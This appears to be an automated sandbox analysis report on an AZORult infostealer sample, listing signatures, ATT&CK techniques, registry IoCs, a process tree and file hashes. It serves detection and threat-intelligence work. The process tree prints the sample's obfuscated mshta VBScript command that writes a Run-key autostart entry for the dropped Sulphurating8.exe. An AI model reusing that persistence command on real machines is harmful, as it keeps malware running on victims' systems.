azorult | 46dc49be65d7165e2a6009854a4f27f0088230199e61e0555cb1bd266535874a

Analysis

max time kernel
116s
max time network
132s
platform
windows10_x64
resource
win10
submitted
11-08-2020 12:30

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General

Target

foo/aa3b51bd50bcc98f763cffcf7f907152.exe

Score

10^/10

azorult infostealer persistence trojan

Malware Config

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult
Executes dropped EXE 1 IoCs

Processes:

Sulphurating8.exe

pid process

2572 Sulphurating8.exe

pid	process
2572	Sulphurating8.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

mshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\Kamelen5 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Sulphurating8.exe"	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

aa3b51bd50bcc98f763cffcf7f907152.exeSulphurating8.exe

pid process

3992 aa3b51bd50bcc98f763cffcf7f907152.exe
2572 Sulphurating8.exe

pid	process
3992	aa3b51bd50bcc98f763cffcf7f907152.exe
2572	Sulphurating8.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

aa3b51bd50bcc98f763cffcf7f907152.exe

description	pid	process	target process
PID 3992 wrote to memory of 1772	3992	aa3b51bd50bcc98f763cffcf7f907152.exe	mshta.exe
PID 3992 wrote to memory of 1772	3992	aa3b51bd50bcc98f763cffcf7f907152.exe	mshta.exe
PID 3992 wrote to memory of 1772	3992	aa3b51bd50bcc98f763cffcf7f907152.exe	mshta.exe
PID 3992 wrote to memory of 2572	3992	aa3b51bd50bcc98f763cffcf7f907152.exe	Sulphurating8.exe
PID 3992 wrote to memory of 2572	3992	aa3b51bd50bcc98f763cffcf7f907152.exe	Sulphurating8.exe
PID 3992 wrote to memory of 2572	3992	aa3b51bd50bcc98f763cffcf7f907152.exe	Sulphurating8.exe

C:\Users\Admin\AppData\Local\Temp\foo\aa3b51bd50bcc98f763cffcf7f907152.exe
"C:\Users\Admin\AppData\Local\Temp\foo\aa3b51bd50bcc98f763cffcf7f907152.exe"
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3992
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\System32\mshta.exe" vbscript:Execute(" str1 = ""WScript.Shell"" : str2 = ""Set WshShell = CrXXteObject(str1)"" : str2 = Replace(str2,""XX"",""ea"") : execute str2 : myKey = ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Kamelen5"" : WshShell.RegWrite myKey,""C:\Users\Admin\AppData\Local\Temp\Sulphurating8.exe"",""REG_SZ"" : window.close")
  2⤵
  - Adds Run key to start application
  PID:1772
- C:\Users\Admin\AppData\Local\Temp\Sulphurating8.exe
  "C:\Users\Admin\AppData\Local\Temp\Sulphurating8.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:2572

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Sulphurating8.exe

MD5
d8f55800147c6068eeb61038f34fc97a

SHA1
d16e0d8e71d07fe7c56341a6b0c30ccd144e3b76

SHA256
e03d563cbb250d3ea2fe6f153d9852e22914e5454945d074bc9e9020c68eaa9f

SHA512
b0c0d4fde6190b79f7b13072d199f60330aa9389cb04632fd982b046bdf13e43185ecd458e51bccdce87b130c3902c76768a69aaad659153aaa15ea75dac19a4

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C:\Users\Admin\AppData\Local\Temp\Sulphurating8.exe

MD5
d8f55800147c6068eeb61038f34fc97a

SHA1
d16e0d8e71d07fe7c56341a6b0c30ccd144e3b76

SHA256
e03d563cbb250d3ea2fe6f153d9852e22914e5454945d074bc9e9020c68eaa9f

SHA512
b0c0d4fde6190b79f7b13072d199f60330aa9389cb04632fd982b046bdf13e43185ecd458e51bccdce87b130c3902c76768a69aaad659153aaa15ea75dac19a4

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memory/1772-2-0x0000000000000000-mapping.dmp

Download
memory/2572-3-0x0000000000000000-mapping.dmp

Download